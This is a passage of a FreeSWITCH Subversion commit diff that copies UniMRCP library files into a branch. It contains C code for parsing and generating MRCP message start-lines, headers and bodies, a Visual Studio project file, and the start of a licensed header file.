+
+
+/** Parse MRCP request-id */
+static APR_INLINE mrcp_request_id mrcp_request_id_parse(const apt_str_t *field)
+{
+	return apt_size_value_parse(field);
+}
+
+/** Generate MRCP request-id */
+static APR_INLINE apt_bool_t mrcp_request_id_generate(mrcp_request_id request_id, apt_text_stream_t *stream)
+{
+	return apt_size_value_generate(request_id,stream);
+}
+
+/** Parse MRCP status-code */
+static APR_INLINE mrcp_status_code_e mrcp_status_code_parse(const apt_str_t *field)
+{
+	return apt_size_value_parse(field);
+}
+
+/** Generate MRCP status-code */
+static APR_INLINE size_t  mrcp_status_code_generate(mrcp_status_code_e status_code, apt_text_stream_t *stream)
+{
+	return apt_size_value_generate(status_code,stream);
+}
+
+
+/** Parse MRCP request-line */
+static apt_bool_t mrcp_request_line_parse(mrcp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	apt_str_t field;
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-id in request-line");
+		return FALSE;
+	}
+	start_line->request_id = mrcp_request_id_parse(&field);
+
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse mrcp-version in request-line");
+		return FALSE;
+	}
+
+	start_line->request_state = mrcp_request_state_parse(&field);
+	if(start_line->request_state == MRCP_REQUEST_STATE_UNKNOWN) {
+		/* request-line */
+		start_line->message_type = MRCP_MESSAGE_TYPE_REQUEST;
+	}
+	else {
+		/* event line */
+		start_line->message_type = MRCP_MESSAGE_TYPE_EVENT;
+
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse mrcp-version in request-line");
+			return FALSE;
+		}
+	}
+
+	start_line->version = mrcp_version_parse(&field);
+	if(start_line->version == MRCP_VERSION_UNKNOWN) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown mrcp-version");
+		return FALSE;
+	}
+	return TRUE;
+}
+
+/** Generate MRCP request-line */
+static apt_bool_t mrcp_request_line_generate(mrcp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	memcpy(stream->pos,start_line->method_name.buf,start_line->method_name.length);
+	stream->pos += start_line->method_name.length;
+	*stream->pos++ = APT_TOKEN_SP;
+
+	mrcp_request_id_generate(start_line->request_id,stream);
+	*stream->pos++ = APT_TOKEN_SP;
+
+	if(start_line->message_type == MRCP_MESSAGE_TYPE_REQUEST) {
+		if(start_line->status_code != MRCP_STATUS_CODE_UNKNOWN) {
+			mrcp_status_code_generate(start_line->status_code,stream);
+			*stream->pos++ = APT_TOKEN_SP;
+		}
+	}
+	else if(start_line->message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		mrcp_request_state_generate(start_line->request_state,stream);
+		*stream->pos++ = APT_TOKEN_SP;
+	}
+
+	mrcp_version_generate(start_line->version,stream);
+	return TRUE;
+}
+
+/** Parse MRCP response-line */
+static apt_bool_t mrcp_response_line_parse(mrcp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	apt_str_t field;
+	start_line->length = 0;
+	if(start_line->version == MRCP_VERSION_2) {
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse message-length in response-line");
+			return FALSE;
+		}
+		start_line->length = apt_size_value_parse(&field);
+	}
+
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-id in response-line");
+		return FALSE;
+	}
+	start_line->request_id = mrcp_request_id_parse(&field);
+
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse status-code in response-line");
+		return FALSE;
+	}
+	start_line->status_code = mrcp_status_code_parse(&field);
+
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-state in response-line");
+		return FALSE;
+	}
+	start_line->request_state = mrcp_request_state_parse(&field);
+	return TRUE;
+}
+
+/** Generate MRCP response-line */
+static apt_bool_t mrcp_response_line_generate(mrcp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	mrcp_version_generate(start_line->version,stream);
+	*stream->pos++ = APT_TOKEN_SP;
+
+	mrcp_request_id_generate(start_line->request_id,stream);
+	*stream->pos++ = APT_TOKEN_SP;
+
+	mrcp_status_code_generate(start_line->status_code,stream);
+	*stream->pos++ = APT_TOKEN_SP;
+
+	mrcp_request_state_generate(start_line->request_state,stream);
+	return TRUE;
+}
+
+/** Parse MRCP v2 start-line */
+static apt_bool_t mrcp_v2_start_line_parse(mrcp_start_line_t *start_line, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	apt_str_t field;
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse message-length in v2 start-line");
+		return FALSE;
+	}
+	start_line->length = apt_size_value_parse(&field);
+
+	if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-id in v2 start-line");
+		return FALSE;
+	}
+	start_line->request_id = mrcp_request_id_parse(&field);
+	if(start_line->request_id == 0 && *field.buf != '0') {
+		/* parsing MRCP v2 request or event */
+		start_line->message_type = MRCP_MESSAGE_TYPE_REQUEST;
+		apt_string_copy(&start_line->method_name,&field,pool);
+
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-id in v2 start-line");
+			return FALSE;
+		}
+		start_line->request_id = mrcp_request_id_parse(&field);
+
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == TRUE) {
+			/* parsing MRCP v2 event */
+			start_line->request_state = mrcp_request_state_parse(&field);
+			start_line->message_type = MRCP_MESSAGE_TYPE_EVENT;
+		}
+	}
+	else {
+		/* parsing MRCP v2 response */
+		start_line->message_type = MRCP_MESSAGE_TYPE_RESPONSE;
+
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse status-code in v2 start-line");
+			return FALSE;
+		}
+		start_line->status_code = mrcp_status_code_parse(&field);
+
+		if(apt_text_field_read(stream,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse request-state in v2 start-line");
+			return FALSE;
+		}
+		start_line->request_state = mrcp_request_state_parse(&field);
+	}
+
+	return TRUE;
+}
+
+/** Generate MRCP v2 start-line */
+static apt_bool_t mrcp_v2_start_line_generate(mrcp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	char *pos = stream->pos;
+	mrcp_version_generate(start_line->version,stream);
+	*stream->pos++ = APT_TOKEN_SP;
+
+	start_line->length = stream->pos - pos; /* length is temrorary used to store offset */
+	/* reserving MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT space for start_line->length */
+	memset(stream->pos,APT_TOKEN_SP,MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT+1);
+	stream->pos += MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT+1;
+
+	if(start_line->message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		mrcp_request_id_generate(start_line->request_id,stream);
+		*stream->pos++ = APT_TOKEN_SP;
+
+		mrcp_status_code_generate(start_line->status_code,stream);
+		*stream->pos++ = APT_TOKEN_SP;
+
+		mrcp_request_state_generate(start_line->request_state,stream);
+		*stream->pos++ = APT_TOKEN_SP;
+	}
+	else {
+		memcpy(stream->pos,start_line->method_name.buf,start_line->method_name.length);
+		stream->pos += start_line->method_name.length;
+		*stream->pos++ = APT_TOKEN_SP;
+
+		mrcp_request_id_generate(start_line->request_id,stream);
+		if(start_line->message_type == MRCP_MESSAGE_TYPE_EVENT) {
+			*stream->pos++ = APT_TOKEN_SP;
+			mrcp_request_state_generate(start_line->request_state,stream);
+		}
+	}
+	return TRUE;
+}
+
+/** Initialize MRCP start-line */
+MRCP_DECLARE(void) mrcp_start_line_init(mrcp_start_line_t *start_line)
+{
+	start_line->message_type = MRCP_MESSAGE_TYPE_UNKNOWN;
+	start_line->version = MRCP_VERSION_UNKNOWN;
+	start_line->length = 0;
+	start_line->request_id = 0;
+	apt_string_reset(&start_line->method_name);
+	start_line->status_code = MRCP_STATUS_CODE_UNKNOWN;
+	start_line->request_state = MRCP_REQUEST_STATE_UNKNOWN;
+}
+
+/** Parse MRCP start-line */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_parse(mrcp_start_line_t *start_line, apt_text_stream_t *text_stream, apr_pool_t *pool)
+{
+	apt_text_stream_t line;
+	apt_str_t field;
+	apt_bool_t status = TRUE;
+	start_line->message_type = MRCP_MESSAGE_TYPE_UNKNOWN;
+	if(apt_text_line_read(text_stream,&line.text) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse MRCP start-line");
+		return FALSE;
+	}
+	line.pos = line.text.buf;
+
+	if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot read the first field in start-line");
+		return FALSE;
+	}
+
+	if(field.buf == strstr(field.buf,MRCP_NAME)) {
+		start_line->version = mrcp_version_parse(&field);
+
+		if(start_line->version == MRCP_VERSION_1) {
+			/* parsing MRCP v1 response */
+			start_line->message_type = MRCP_MESSAGE_TYPE_RESPONSE;
+			status = mrcp_response_line_parse(start_line,&line);
+		}
+		else if(start_line->version == MRCP_VERSION_2) {
+			/* parsing MRCP v2 start-line (request/response/event) */
+			status = mrcp_v2_start_line_parse(start_line,&line,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown MRCP version");
+			return FALSE;
+		}
+	}
+	else {
+		/* parsing MRCP v1 request or event */
+		apt_string_copy(&start_line->method_name,&field,pool);
+		status = mrcp_request_line_parse(start_line,&line);
+	}
+	return status;
+}
+
+/** Generate MRCP start-line */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_generate(mrcp_start_line_t *start_line, apt_text_stream_t *text_stream)
+{
+	apt_bool_t status = FALSE;
+	if(start_line->version == MRCP_VERSION_1) {
+		switch(start_line->message_type) {
+			case MRCP_MESSAGE_TYPE_REQUEST:
+				status = mrcp_request_line_generate(start_line,text_stream);
+				break;
+			case MRCP_MESSAGE_TYPE_RESPONSE:
+				status = mrcp_response_line_generate(start_line,text_stream);
+				break;
+			case MRCP_MESSAGE_TYPE_EVENT:
+				status = mrcp_request_line_generate(start_line,text_stream);
+				break;
+			default:
+				break;
+		}
+	}
+	else if(start_line->version == MRCP_VERSION_2) {
+		status = mrcp_v2_start_line_generate(start_line,text_stream);
+	}
+
+	if(status == TRUE) {
+		apt_text_eol_insert(text_stream);
+	}
+	
+	return status;
+}
+
+/** Finalize MRCP start-line generation */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_finalize(mrcp_start_line_t *start_line, apr_size_t content_length, apt_text_stream_t *text_stream)
+{
+	apr_size_t length = text_stream->pos - text_stream->text.buf + content_length;
+	if(start_line->version == MRCP_VERSION_2) {
+		/* message-length includes the number of bytes that specify the message-length in the header */
+		/* too comlex to generate!!! see the discussion */
+		/* http://www1.ietf.org/mail-archive/web/speechsc/current/msg01734.html */
+		apt_str_t field;
+		field.buf = text_stream->text.buf + start_line->length; /* length is temrorary used to store offset */
+		length -= MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT;
+		apt_var_length_value_generate(&length,MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT,&field);
+		field.buf[field.length] = APT_TOKEN_SP;
+		start_line->length += field.length;
+
+		field.length = MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT - field.length;
+		if(field.length) {
+			memmove(text_stream->text.buf+field.length,text_stream->text.buf,start_line->length);
+			text_stream->text.buf += field.length;
+			text_stream->text.length -= field.length;
+		}
+	}
+
+	start_line->length = length;
+	return TRUE;
+}
+
+/** Initialize MRCP channel-identifier */
+MRCP_DECLARE(void) mrcp_channel_id_init(mrcp_channel_id *channel_id)
+{
+	apt_string_reset(&channel_id->session_id);
+	apt_string_reset(&channel_id->resource_name);
+	channel_id->resource_id = 0;
+}
+
+/** Parse MRCP channel-identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_channel_id_parse(mrcp_channel_id *channel_id, apt_text_stream_t *text_stream, apr_pool_t *pool)
+{
+	apt_bool_t match = FALSE;
+	apt_pair_t pair;
+	do {
+		if(apt_text_header_read(text_stream,&pair) == TRUE) {
+			if(pair.name.length) {
+				if(pair.value.length && strncasecmp(pair.name.buf,MRCP_CHANNEL_ID,MRCP_CHANNEL_ID_LENGTH) == 0) {
+					match = TRUE;
+					apt_id_resource_parse(&pair.value,'@',&channel_id->session_id,&channel_id->resource_name,pool);
+					break;
+				}
+				/* skip this header, expecting channel identifier first */
+			}
+			else {
+				/* empty header */
+				break;
+			}
+		}
+	}
+	while(apt_text_is_eos(text_stream) == FALSE);
+	return match;
+}
+
+/** Generate MRCP channel-identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_channel_id_generate(mrcp_channel_id *channel_id, apt_text_stream_t *text_stream)
+{
+	apt_str_t *str;
+	char *pos = text_stream->pos;
+
+	memcpy(pos,MRCP_CHANNEL_ID,MRCP_CHANNEL_ID_LENGTH);
+	pos += MRCP_CHANNEL_ID_LENGTH;
+	*pos++ = ':';
+	*pos++ = ' ';
+	
+	str = &channel_id->session_id;
+	memcpy(pos,str->buf,str->length);
+	pos += str->length;
+	*pos++ = '@';
+
+	str = &channel_id->resource_name;
+	memcpy(pos,str->buf,str->length);
+	pos += str->length;
+
+	text_stream->pos = pos;
+	apt_text_eol_insert(text_stream);
+	return TRUE;
+}
+
+/** Parse MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_parse(mrcp_message_header_t *message_header, apt_text_stream_t *text_stream, apr_pool_t *pool)
+{
+	apt_pair_t pair;
+	apt_bool_t result = FALSE;
+
+	mrcp_header_allocate(&message_header->generic_header_accessor,pool);
+	mrcp_header_allocate(&message_header->resource_header_accessor,pool);
+
+	do {
+		if(apt_text_header_read(text_stream,&pair) == TRUE) {
+			if(pair.name.length) {
+				/* normal header */
+				if(mrcp_header_parse(&message_header->resource_header_accessor,&pair,pool) != TRUE) {
+					if(mrcp_header_parse(&message_header->generic_header_accessor,&pair,pool) != TRUE) {
+						/* unknown MRCP header */
+					}
+				}
+			}
+			else {
+				/* empty header -> exit */
+				result = TRUE;
+				break;
+			}
+		}
+		else {
+			/* malformed header, skip to the next one */
+		}
+	}
+	while(apt_text_is_eos(text_stream) == FALSE);
+
+	return result;
+}
+
+/** Generate MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_generate(mrcp_message_header_t *message_header, apt_text_stream_t *text_stream)
+{
+	mrcp_header_generate(&message_header->resource_header_accessor,text_stream);
+	mrcp_header_generate(&message_header->generic_header_accessor,text_stream);
+	apt_text_eol_insert(text_stream);
+	return TRUE;
+}
+
+/** Set MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_set(mrcp_message_header_t *message_header, const mrcp_message_header_t *src, apr_pool_t *pool)
+{
+	mrcp_header_set(
+		&message_header->resource_header_accessor,
+		&src->resource_header_accessor,
+		&src->resource_header_accessor,pool);
+	mrcp_header_set(
+		&message_header->generic_header_accessor,
+		&src->generic_header_accessor,
+		&src->generic_header_accessor,pool);
+	return TRUE;
+}
+
+/** Get MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_get(mrcp_message_header_t *message_header, const mrcp_message_header_t *src, apr_pool_t *pool)
+{
+	mrcp_header_set(
+		&message_header->resource_header_accessor,
+		&src->resource_header_accessor,
+		&message_header->resource_header_accessor,
+		pool);
+	mrcp_header_set(
+		&message_header->generic_header_accessor,
+		&src->generic_header_accessor,
+		&message_header->generic_header_accessor,
+		pool);
+	return TRUE;
+}
+
+/** Inherit MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_inherit(mrcp_message_header_t *message_header, const mrcp_message_header_t *parent, apr_pool_t *pool)
+{
+	mrcp_header_inherit(&message_header->resource_header_accessor,&parent->resource_header_accessor,pool);
+	mrcp_header_inherit(&message_header->generic_header_accessor,&parent->generic_header_accessor,pool);
+	return TRUE;
+}
+
+
+/** Parse MRCP message-body */
+MRCP_DECLARE(apt_bool_t) mrcp_body_parse(mrcp_message_t *message, apt_text_stream_t *text_stream, apr_pool_t *pool)
+{
+	if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_LENGTH) == TRUE) {
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+		if(generic_header && generic_header->content_length) {
+			apt_str_t *body = &message->body;
+			body->length = generic_header->content_length;
+			if(body->length > (text_stream->text.length - (text_stream->pos - text_stream->text.buf))) {
+				body->length = text_stream->text.length - (text_stream->pos - text_stream->text.buf);
+			}
+			body->buf = apr_pstrmemdup(pool,text_stream->pos,body->length);
+			text_stream->pos += body->length;
+		}
+	}
+	return TRUE;
+}
+
+/** Generate MRCP message-body */
+MRCP_DECLARE(apt_bool_t) mrcp_body_generate(mrcp_message_t *message, apt_text_stream_t *text_stream)
+{
+	apt_str_t *body = &message->body;
+	if(body->length) {
+		memcpy(text_stream->pos,body->buf,body->length);
+		text_stream->pos += body->length;
+	}
+	return TRUE;
+}
+
+
+/** Create MRCP message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_message_create(apr_pool_t *pool)
+{
+	mrcp_message_t *message = apr_palloc(pool,sizeof(mrcp_message_t));
+	mrcp_message_init(message,pool);
+	return message;
+}
+
+/** Initialize MRCP message */
+MRCP_DECLARE(void) mrcp_message_init(mrcp_message_t *message, apr_pool_t *pool)
+{
+	mrcp_start_line_init(&message->start_line);
+	mrcp_channel_id_init(&message->channel_id);
+	mrcp_message_header_init(&message->header);
+	apt_string_reset(&message->body);
+	message->pool = pool;
+}
+
+/** Initialize response/event message by request message */
+MRCP_DECLARE(void) mrcp_message_init_by_request(mrcp_message_t *message, const mrcp_message_t *request_message)
+{
+	message->channel_id = request_message->channel_id;
+	message->start_line.request_id = request_message->start_line.request_id;
+	message->start_line.version = request_message->start_line.version;
+	message->start_line.method_id = request_message->start_line.method_id;
+	message->header.generic_header_accessor.vtable = request_message->header.generic_header_accessor.vtable;
+	message->header.resource_header_accessor.vtable = request_message->header.resource_header_accessor.vtable;
+}
+
+/** Create MRCP request message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_request_create(mrcp_resource_id resource_id, mrcp_method_id method_id, apr_pool_t *pool)
+{
+	mrcp_message_t *request_message = mrcp_message_create(pool);
+	request_message->start_line.message_type = MRCP_MESSAGE_TYPE_REQUEST;
+	request_message->start_line.method_id = method_id;
+	request_message->channel_id.resource_id = resource_id;
+	return request_message;
+}
+
+/** Create MRCP response message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_response_create(const mrcp_message_t *request_message, apr_pool_t *pool)
+{
+	mrcp_message_t *response_message = mrcp_message_create(pool);
+	if(request_message) {
+		mrcp_message_init_by_request(response_message,request_message);
+	}
+	response_message->start_line.message_type = MRCP_MESSAGE_TYPE_RESPONSE;
+	response_message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+	response_message->start_line.status_code = MRCP_STATUS_CODE_SUCCESS;
+	return response_message;
+}
+
+/** Create MRCP event message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_event_create(const mrcp_message_t *request_message, mrcp_method_id event_id, apr_pool_t *pool)
+{
+	mrcp_message_t *event_message = mrcp_message_create(pool);
+	if(request_message) {
+		mrcp_message_init_by_request(event_message,request_message);
+	}
+	event_message->start_line.message_type = MRCP_MESSAGE_TYPE_EVENT;
+	event_message->start_line.method_id = event_id;
+	return event_message;
+}
+
+/** Destroy MRCP message */
+MRCP_DECLARE(void) mrcp_message_destroy(mrcp_message_t *message)
+{
+	apt_string_reset(&message->body);
+	mrcp_message_header_destroy(&message->header);
+}
+
+/** Validate MRCP message */
+MRCP_DECLARE(apt_bool_t) mrcp_message_validate(mrcp_message_t *message)
+{
+	if(message->body.length) {
+		/* content length must be specified */
+		mrcp_generic_header_t *generic_header = mrcp_generic_header_prepare(message);
+		if(!generic_header) {
+			return FALSE;
+		}
+		if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_LENGTH) != TRUE ||
+		  !generic_header->content_length) {
+			generic_header->content_length = message->body.length;
+			mrcp_generic_header_property_add(message,GENERIC_HEADER_CONTENT_LENGTH);
+		}
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/mrcp.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/mrcp.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/mrcp.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/mrcp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/mrcp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,300 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcp"
+	ProjectGUID="{1C320193-46A6-4B34-9C56-8AB584FC1B56}"
+	RootNamespace="mrcp"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcp.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcp.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_types.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="message"
+			>
+			<Filter
+				Name="include"
+				Filter="h;hpp;hxx;hm;inl;inc;xsd"
+				>
+				<File
+					RelativePath=".\message\include\mrcp_generic_header.h"
+					>
+				</File>
+				<File
+					RelativePath=".\message\include\mrcp_header_accessor.h"
+					>
+				</File>
+				<File
+					RelativePath=".\message\include\mrcp_message.h"
+					>
+				</File>
+			</Filter>
+			<Filter
+				Name="src"
+				Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+				>
+				<File
+					RelativePath=".\message\src\mrcp_generic_header.c"
+					>
+				</File>
+				<File
+					RelativePath=".\message\src\mrcp_header_accessor.c"
+					>
+				</File>
+				<File
+					RelativePath=".\message\src\mrcp_message.c"
+					>
+				</File>
+			</Filter>
+		</Filter>
+		<Filter
+			Name="control"
+			>
+			<Filter
+				Name="include"
+				Filter="h;hpp;hxx;hm;inl;inc;xsd"
+				>
+				<File
+					RelativePath=".\control\include\mrcp_resource.h"
+					>
+				</File>
+				<File
+					RelativePath=".\control\include\mrcp_resource_factory.h"
+					>
+				</File>
+				<File
+					RelativePath=".\control\include\mrcp_state_machine.h"
+					>
+				</File>
+				<File
+					RelativePath=".\control\include\mrcp_stream.h"
+					>
+				</File>
+			</Filter>
+			<Filter
+				Name="src"
+				Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+				>
+				<File
+					RelativePath=".\control\src\mrcp_resource_factory.c"
+					>
+				</File>
+				<File
+					RelativePath=".\control\src\mrcp_stream.c"
+					>
+				</File>
+			</Filter>
+		</Filter>
+		<Filter
+			Name="resources"
+			>
+			<Filter
+				Name="include"
+				Filter="h;hpp;hxx;hm;inl;inc;xsd"
+				>
+				<File
+					RelativePath=".\resources\include\mrcp_default_factory.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_recog_header.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_recog_resource.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_recog_state_machine.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_synth_header.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_synth_resource.h"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\include\mrcp_synth_state_machine.h"
+					>
+				</File>
+			</Filter>
+			<Filter
+				Name="src"
+				Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+				>
+				<File
+					RelativePath=".\resources\src\mrcp_default_factory.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_recog_client_state_machine.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_recog_header.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_recog_resource.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_recog_server_state_machine.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_synth_client_state_machine.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_synth_header.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_synth_resource.c"
+					>
+				</File>
+				<File
+					RelativePath=".\resources\src\mrcp_synth_server_state_machine.c"
+					>
+				</File>
+			</Filter>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources)

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_default_factory.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_default_factory.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_default_factory.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_default_factory.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_default_factory.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_DEFAULT_FACTORY_H__
